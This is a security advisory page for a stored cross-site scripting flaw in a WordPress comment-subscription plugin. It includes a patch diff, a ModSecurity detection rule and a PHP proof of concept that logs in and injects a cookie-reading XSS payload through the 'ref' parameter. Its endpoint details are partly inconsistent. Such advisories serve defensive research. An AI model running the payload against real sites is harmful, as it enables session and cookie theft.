Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66706: Subscribe to Comments <= 2.3.1 Authenticated (Author+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 2.3.1
Patched Version 2.3.2
Disclosed August 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66706: This is an authenticated (Author+) stored cross-site scripting vulnerability in the Subscribe to Comments WordPress plugin, affecting all versions up to and including 2.3.1. Attackers with Author-level privileges can inject arbitrary web scripts into pages that execute when a user visits the affected page. Atomic Edge research rates the CVSS score at 5.4, reflecting the need for authentication but the potential for session compromise and site defacement.

The root cause lies in the plugin’s failure to properly sanitize the ‘ref’ parameter before using it in a hidden form field. In the vulnerable version, the constructor at lines 263-266 processes the ‘ref’ parameter within a loop that applies `esc_attr()` to all request variables. However, this code does not properly validate or restrict the ‘ref’ value, and the hidden field output at line 674 echoes `$this->ref` directly without applying `esc_attr()` at output time. This creates a stored XSS vector because the ‘ref’ value persists in the form and is later rendered without context-appropriate escaping. The patch addresses this by removing ‘ref’ from the general loop, explicitly sanitizing it with `esc_url_raw()` limited to http/https protocols, and applying `esc_attr()` at both output locations (lines 674 and 1495).

Exploitation requires an authenticated attacker with Author-level access or higher. The attacker submits a crafted request to any page containing the subscription form, supplying a malicious ‘ref’ parameter value such as `x” onmouseover=”alert(document.cookie)` or a script tag payload. Because the plugin stores this value in the hidden form field and later reflects it without proper escaping, the script executes when the page is viewed by any user, including administrators. The attack can be delivered via a POST request to the site’s subscription endpoint (typically `/?wp-subscription-manager=1` or via the `show_manual_subscription_form()` function hook) with the ‘ref’ parameter containing the XSS payload.

The patch implements multiple defensive layers. First, it removes ‘ref’ from the general request processing loop (line 265) and handles it separately with `esc_url_raw()` restricted to http and https schemes (line 267). Second, it applies `esc_attr()` to the ‘ref’ value at both output points: in `hidden_form_fields()` at line 678 and in the email form at line 1495. Third, it adds a check to ensure ‘ref’ is a string before processing (line 266). These changes prevent arbitrary script injection by forcing the ‘ref’ value to be a properly sanitized URL and escaping it at output. The patch also includes additional unrelated security hardening, such as key rotation, management link restrictions, and settings sanitization, but the XSS fix centers on the ‘ref’ parameter handling.

The impact of successful exploitation is stored cross-site scripting, which allows the attacker to execute arbitrary JavaScript in the context of the victim’s browser. This can lead to session hijacking, theft of authentication cookies, privilege escalation (if an administrator views the injected page), site defacement, or redirection to malicious domains. Because the vulnerability is stored, the payload persists and executes for every user who accesses the affected page, making it a persistent threat until removed. The CVSS score of 5.4 reflects the requirement for authentication but the broad impact on confidentiality and integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/subscribe-to-comments/subscribe-to-comments.php
+++ b/subscribe-to-comments/subscribe-to-comments.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Subscribe To Comments
-Version: 2.3.1
+Version: 2.3.2
 Plugin URI: http://txfx.net/wordpress-plugins/subscribe-to-comments/
 Description: Allows readers to choose to receive notifications of new comments that are posted to an entry.
 Author: Mark Jaquith
@@ -42,6 +42,7 @@
 function show_manual_subscription_form() {
 	global $id, $sg_subscribe, $user_email;
 		_stc()->show_errors( 'solo_subscribe', '<div class="solo-subscribe-errors">', '</div>', __( '<strong>Error: </strong>', 'subscribe-to-comments' ), '<br />' );
+		_stc()->show_messages();

 if ( !_stc()->current_viewer_subscription_status() ) :
 	get_currentuserinfo(); ?>
@@ -174,6 +175,7 @@
 		add_action( 'wp_set_comment_status', array( $this, 'send_notifications'      ));
 		add_action( 'admin_menu',            array( $this, 'add_admin_menu'          ));
 		add_action( 'admin_head',            array( $this, 'admin_head'              ));
+		add_action( 'admin_notices',         array( $this, 'management_key_notice'   ));
 		add_action( 'edit_comment',          array( $this, 'on_edit'                 ));
 		add_action( 'delete_comment',        array( $this, 'on_delete'               ));
 		add_filter( 'the_content',           array( $this, 'manager'                 ));
@@ -263,9 +265,12 @@
 			$this->after_manager = $this->settings['after_manager'];
 		}

-		foreach ( array( 'email', 'key', 'ref', 'new_email' ) as $var )
-			if ( isset( $_REQUEST[$var]) && !empty($_REQUEST[$var] ) )
+		foreach ( array( 'email', 'key', 'new_email' ) as $var )
+			if ( isset( $_REQUEST[$var]) && is_string( $_REQUEST[$var] ) && !empty($_REQUEST[$var] ) )
 				$this->{$var} = esc_attr( trim( stripslashes( $_REQUEST[$var] ) ) );
+		$this->ref = '';
+		if ( isset( $_REQUEST['ref'] ) && is_string( $_REQUEST['ref'] ) )
+			$this->ref = esc_url_raw( stripslashes( $_REQUEST['ref'] ), array( 'http', 'https' ) );
 		if ( !$this->key )
 			$this->key = 'unset';
 	}
@@ -455,12 +460,11 @@
 		if ( strtolower( $post_author->user_email ) == ( $email ) )
 			$this->add_error( __( 'You appear to be already subscribed to this entry.', 'subscribe-to-comments' ),'solo_subscribe' );

-		if ( !is_array( $this->errors['solo_subscribe'] ) ) {
+		if ( empty( $this->errors['solo_subscribe'] ) ) {
 			add_post_meta( $postid, '_sg_subscribe-to-comments', strtolower( $email ) );
 			setcookie( 'comment_author_email_' . COOKIEHASH, $email, time() + 30000000, COOKIEPATH );
-			$location = $this->manage_link( $email, false, false ) . '&subscribeid=' . $postid;
-			header( "Location: $location" );
-			exit();
+			// A submitted e-mail address is not proof of ownership. Never expose its management key here.
+			$this->add_message( __( 'Your subscription request has been received. You can manage your subscription using the link in notification e-mails.', 'subscribe-to-comments' ) );
 		}
 	}

@@ -674,7 +678,7 @@


 	function hidden_form_fields() { ?>
-		<input type="hidden" name="ref" value="<?php echo $this->ref; ?>" />
+		<input type="hidden" name="ref" value="<?php echo esc_attr( $this->ref ); ?>" />
 		<input type="hidden" name="key" value="<?php echo $this->key; ?>" />
 		<input type="hidden" name="email" value="<?php echo $this->email; ?>" />
 	<?php
@@ -690,14 +694,31 @@
 	}


+	/**
+	 * Recognizes retired keys only to explain their rejection, never to grant access.
+	 */
+	function is_revoked_key() {
+		if ( empty( $this->settings['revoked_salt'] ) || !is_email( $this->email ) || !is_string( $this->key ) )
+			return false;
+		foreach ( array( $this->email, $this->email . $this->new_email, $this->email . 'blockrequest', 'opt_in:' . $this->email ) as $data ) {
+			if ( $this->key === md5( md5( $this->settings['revoked_salt'] . $data ) ) )
+				return true;
+		}
+		return false;
+	}
+
 	function validate_key() {
-		if ( $this->key == $this->generate_key( $this->email ) )
+		$this->key_type = '';
+		// Reject retired links even for administrators, before their capability bypass.
+		if ( $this->is_revoked_key() )
+			return false;
+		if ( $this->key === $this->generate_key( $this->email ) )
 			$this->key_type = 'normal';
-		elseif ( $this->key == $this->generate_key( $this->email . $this->new_email ) )
+		elseif ( $this->key === $this->generate_key( $this->email . $this->new_email ) )
 			$this->key_type = 'change_email';
-		elseif ( $this->key == $this->generate_key( $this->email . 'blockrequest' ) )
+		elseif ( $this->key === $this->generate_key( $this->email . 'blockrequest' ) )
 			$this->key_type = 'block';
-		elseif ( $this->key == $this->generate_key( 'opt_in:' . $this->email ) )
+		elseif ( $this->key === $this->generate_key( 'opt_in:' . $this->email ) )
 			$this->key_type = 'opt_in';
 		elseif ( current_user_can( 'manage_options' ) )
 			$this->key_type = 'admin';
@@ -836,9 +857,10 @@
 		$subject = '[' . get_bloginfo( 'name' ) . '] ' . $subject;

 		// strip out some chars that might cause issues, and assemble vars
-		$site_name = str_replace( '"', "'", $this->site_name );
-		$site_email = str_replace( array( '<', '>' ), array( '', '' ), $this->site_email );
-		$charset = get_option( 'blog_charset' );
+		// Sanitize at send time as well, so previously saved settings cannot inject headers.
+		$site_name = str_replace( array( "r", "n", '"', '\' ), array( '', '', "'", '' ), $this->site_name );
+		$site_email = sanitize_email( $this->site_email );
+		$charset = str_replace( array( "r", "n", '"' ), '', get_option( 'blog_charset' ) );

 		$headers  = "From: "{$site_name}" <{$site_email}>n";
 		$headers .= "MIME-Version: 1.0n";
@@ -869,7 +891,8 @@
 			switch_to_blog( $bid );
 		}
 		if ( empty( $uri ) )
-			$uri = esc_url( get_permalink( $postid ) );
+			$uri = get_permalink( $postid );
+		$uri = esc_url( $uri, array( 'http', 'https' ) );
 		$postid = (int) $postid;
 		$title = get_the_title( $postid );
 		if ( empty( $title ) )
@@ -893,18 +916,38 @@
 	}


+	function management_key_notice() {
+		if ( !current_user_can( 'manage_options' ) || empty( $this->settings['management_keys_rotated'] ) )
+			return;
+		echo '<div class="updated"><p>' . esc_html( __( 'Subscribe to Comments: Subscription-management keys have been rotated following a security update. Links in older e-mails have been revoked, but subscriptions have not been removed. New notification e-mails will contain working management links.', 'subscribe-to-comments' ) ) . '</p></div>';
+		// Show the notice once, to an administrator, rather than on every admin page.
+		$this->settings['management_keys_rotated'] = false;
+		$this->update_settings( $this->settings );
+	}
+
 	function db_upgrade_check () {
 		global $wpdb, $blog_id;

 		$update = false;

 		// add the options
-		add_option( 'sg_subscribe_settings', array( 'use_custom_style' => '', 'email' => get_bloginfo( 'admin_email' ), 'name' => get_bloginfo( 'name' ), 'header' => '[theme_path]/header.php', 'sidebar' => '', 'footer' => '[theme_path]/footer.php', 'before_manager' => '<div id="content" class="widecolumn subscription-manager">', 'after_manager' => '</div>', 'not_subscribed_text' => __( 'Notify me of followup comments via e-mail', 'subscribe-to-comments' ), 'subscribed_text' => __( 'You are subscribed to this entry.  <a href="[manager_link]">Manage your subscriptions</a>.', 'subscribe-to-comments' ), 'author_text' => __( 'You are the author of this entry.  <a href="[manager_link]">Manage subscriptions</a>.', 'subscribe-to-comments' ), 'version' => 0, 'double_opt_in' => '', 'subscribed_format' => '%NAME%' ) );
+		add_option( 'sg_subscribe_settings', array( 'use_custom_style' => '', 'email' => get_bloginfo( 'admin_email' ), 'name' => get_bloginfo( 'name' ), 'header' => '[theme_path]/header.php', 'sidebar' => '', 'footer' => '[theme_path]/footer.php', 'before_manager' => '<div id="content" class="widecolumn subscription-manager">', 'after_manager' => '</div>', 'not_subscribed_text' => __( 'Notify me of followup comments via e-mail', 'subscribe-to-comments' ), 'subscribed_text' => __( 'You are subscribed to this entry.  <a href="[manager_link]">Manage your subscriptions</a>.', 'subscribe-to-comments' ), 'author_text' => __( 'You are the author of this entry.  <a href="[manager_link]">Manage subscriptions</a>.', 'subscribe-to-comments' ), 'version' => 0, 'management_key_version' => 1, 'double_opt_in' => '', 'subscribed_format' => '%NAME%' ) );

 		$settings = $this->get_options();

+		// Existing installations must revoke keys that may have been disclosed before the security fix.
+		// Fresh installations start at this key version and have no retired links to recognize.
+		if ( empty( $settings['management_key_version'] ) ) {
+			if ( !empty( $settings['salt'] ) )
+				$settings['revoked_salt'] = $settings['salt'];
+			$settings['salt'] = wp_generate_password( 64, true, true );
+			$settings['management_key_version'] = 1;
+			$settings['management_keys_rotated'] = true;
+			$update = true;
+		}
+
 		if ( !isset( $settings['salt'] ) ) {
-			$settings['salt'] = md5( md5( uniqid( rand() . rand() . rand() . rand() . rand(), true ) ) ); // random MD5 hash
+			$settings['salt'] = wp_generate_password( 64, true, true );
 			$update = true;
 		}

@@ -976,6 +1019,10 @@
 	}

 	function sanitize_settings( $settings ) {
+		if ( isset( $settings['name'] ) )
+			$settings['name'] = sanitize_text_field( $settings['name'] );
+		if ( isset( $settings['email'] ) )
+			$settings['email'] = sanitize_email( $settings['email'] );
 		if ( strpos( $settings['subscribed_format'], '%NAME%' ) === false ) {
 			$settings['subscribed_format'] = '%NAME%';
 		}
@@ -993,22 +1040,16 @@


 	function current_viewer_subscription_status(){
-		global $wpdb, $blog_id, $post, $user_email;
-
-		$comment_author_email = ( isset( $_COOKIE['comment_author_email_'. COOKIEHASH] ) ) ? trim( $_COOKIE['comment_author_email_'. COOKIEHASH] ) : '';
-		get_currentuserinfo();
+		global $post;

-		if ( is_email( $user_email ) ) {
-			$email = strtolower( $user_email );
-			$loggedin = true;
-		} elseif ( is_email( $comment_author_email ) ) {
-			$email = strtolower( $comment_author_email );
-		} else {
+		// Comment cookies are unsigned and cannot authenticate a subscriber.
+		$user = wp_get_current_user();
+		if ( !$user->ID || !is_email( $user->user_email ) )
 			return false;
-		}
+		$email = strtolower( $user->user_email );

 		$post_author = get_userdata( $post->post_author );
-		if ( strtolower( $post_author->user_email ) == $email && $loggedin )
+		if ( $post_author && strtolower( $post_author->user_email ) == $email )
 			return 'admin';

 		if ( in_array( $email, (array) $this->subscriptions_from_post( $post->ID ) ) )
@@ -1017,6 +1058,11 @@
 	}

 	function manage_link( $email='', $html=true, $echo=true ) {
+		// Only authenticated owners or administrators may receive a newly generated management link.
+		// Guests manage subscriptions using the keys delivered to them by e-mail.
+		$user = wp_get_current_user();
+		if ( !$user->ID || ( !current_user_can( 'manage_options' ) && ( !is_email( $email ) || strtolower( $user->user_email ) != strtolower( $email ) ) ) )
+			return '';
 		$link  = get_option( 'home' ) . '/?wp-subscription-manager=1';
 		if ( $email != 'admin' ) {
 			$link = add_query_arg( 'email', urlencode( $email ), $link );
@@ -1067,7 +1113,7 @@

 	function add_admin_menu() {
 		$manager_callback = add_submenu_page( 'edit-comments.php', __( 'Comment Subscription Manager', 'subscribe-to-comments' ), __( 'Subscriptions', 'subscribe-to-comments' ), 'manage_options', 'stc-management', 'sg_subscribe_admin' );
-		$opt_callback = add_options_page( __( 'Subscribe to Comments', 'subscribe-to-comments' ), __( 'Subscribe to Comments', 'subscribe-to-comments' ), 'publish_posts', 'stc-options', array( _stc(), 'options_page' ) );
+		$opt_callback = add_options_page( __( 'Subscribe to Comments', 'subscribe-to-comments' ), __( 'Subscribe to Comments', 'subscribe-to-comments' ), 'manage_options', 'stc-options', array( _stc(), 'options_page' ) );
 		add_action( "load-{$opt_callback}", array( _stc(), 'save_options' ) );
 	}

@@ -1094,8 +1140,19 @@

 function save_options() {
 	if ( isset( $_POST['sg_subscribe_settings_submit'] ) ) {
+		if ( !current_user_can( 'manage_options' ) )
+			wp_die( __( 'You do not have permission to change these settings.', 'subscribe-to-comments' ) );
 		check_admin_referer( 'subscribe-to-comments-update_options' );
+		if ( !isset( $_POST['sg_subscribe_settings'] ) || !is_array( $_POST['sg_subscribe_settings'] ) )
+			wp_die( __( 'Invalid settings.', 'subscribe-to-comments' ) );
 		$update_settings = stripslashes_deep( $_POST['sg_subscribe_settings'] );
+		// These private fields are not editable form settings. Preserve them across saves.
+		$current_settings = $this->get_options();
+		foreach ( array( 'salt', 'revoked_salt', 'management_key_version', 'management_keys_rotated', 'manage_id' ) as $field ) {
+			unset( $update_settings[$field] );
+			if ( isset( $current_settings[$field] ) )
+				$update_settings[$field] = $current_settings[$field];
+		}
 		_stc()->update_settings( $update_settings );
 		wp_redirect( add_query_arg( 'updated', '1', menu_page_url( 'stc-options', false ) ) );
 		add_settings_error( 'general', 'settings_updated', __( 'Settings saved.' ), 'updated' );
@@ -1184,6 +1241,8 @@
 }

 function options_page() {
+	if ( !current_user_can( 'manage_options' ) )
+		wp_die( __( 'You do not have permission to change these settings.', 'subscribe-to-comments' ) );
 	echo '<form method="post">';
 	screen_icon();
 	echo '<div class="wrap">';
@@ -1287,8 +1346,11 @@

 	get_currentuserinfo();

-	if ( !_stc()->validate_key() )
-		die ( __( 'You may not access this page without a valid key.', 'subscribe-to-comments' ) );
+	if ( !_stc()->validate_key() ) {
+		if ( _stc()->is_revoked_key() )
+			wp_die( __( 'This subscription-management link has been revoked following a security update. Your subscriptions have not been removed. Please use the link in a new notification e-mail, or contact the site administrator.', 'subscribe-to-comments' ) );
+		wp_die( __( 'You may not access this page without a valid key.', 'subscribe-to-comments' ) );
+	}

 	_stc()->determine_action();

@@ -1433,7 +1495,7 @@
 			</p>

 			<form name="getemail" method="post" action="<?php echo esc_url( _stc()->form_action ); ?>">
-			<input type="hidden" name="ref" value="<?php echo _stc()->ref; ?>" />
+			<input type="hidden" name="ref" value="<?php echo esc_attr( _stc()->ref ); ?>" />

 			<p>
 			<input name="email" type="text" id="email" size="40" />

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66706
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20266670,phase:2,deny,status:403,chain,msg:'CVE-2026-66706 via Subscribe to Comments ref parameter XSS',severity:'CRITICAL',tag:'CVE-2026-66706'"
  SecRule ARGS_POST:action "@streq show_manual_subscription_form" "chain"
    SecRule ARGS_POST:ref "@rx <script|onmouseover|onerror|onload|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66706 - Subscribe to Comments <= 2.3.1 - Authenticated (Author+) Stored Cross-Site Scripting

// Set target WordPress URL (no trailing slash)
$target_url = 'http://localhost/wordpress';

// Author-level credentials
$username = 'author_user';
$password = 'author_pass';

// Malicious XSS payload for the 'ref' parameter
$xss_payload = 'x" onmouseover="alert(document.cookie)"';

// Initialize cURL
$ch = curl_init();

// Step 1: Log in as Author to obtain cookies
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 2: Inject the XSS payload via the 'ref' parameter
// The vulnerable parameter is processed by the constructor and stored in the subscription form
$inject_url = $target_url . '/?wp-subscription-manager=1';
$inject_data = http_build_query([
    'ref' => $xss_payload,
    'email' => 'victim@example.com',
    'key' => 'dummy'
]);
curl_setopt($ch, CURLOPT_URL, $inject_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $inject_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$inject_response = curl_exec($ch);

// Step 3: Verify injection by checking if the payload appears unescaped in the response
// In a real attack, an administrator would need to view the page for the script to execute
if (strpos($inject_response, $xss_payload) !== false) {
    echo "[+] XSS payload successfully injected and reflected.n";
    echo "[+] The stored XSS will execute when a user accesses the subscription form page.n";
} else {
    echo "[-] Injection may have failed or payload was sanitized.n";
}

// Step 4: Optionally, trigger the payload execution by loading the page as an admin
// (simulated here by just requesting the page again)
curl_setopt($ch, CURLOPT_URL, $inject_url);
curl_setopt($ch, CURLOPT_POST, false);
$view_response = curl_exec($ch);
if (strpos($view_response, $xss_payload) !== false) {
    echo "[+] Stored XSS is present in the page output.n";
}

curl_close($ch);
unlink('/tmp/cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.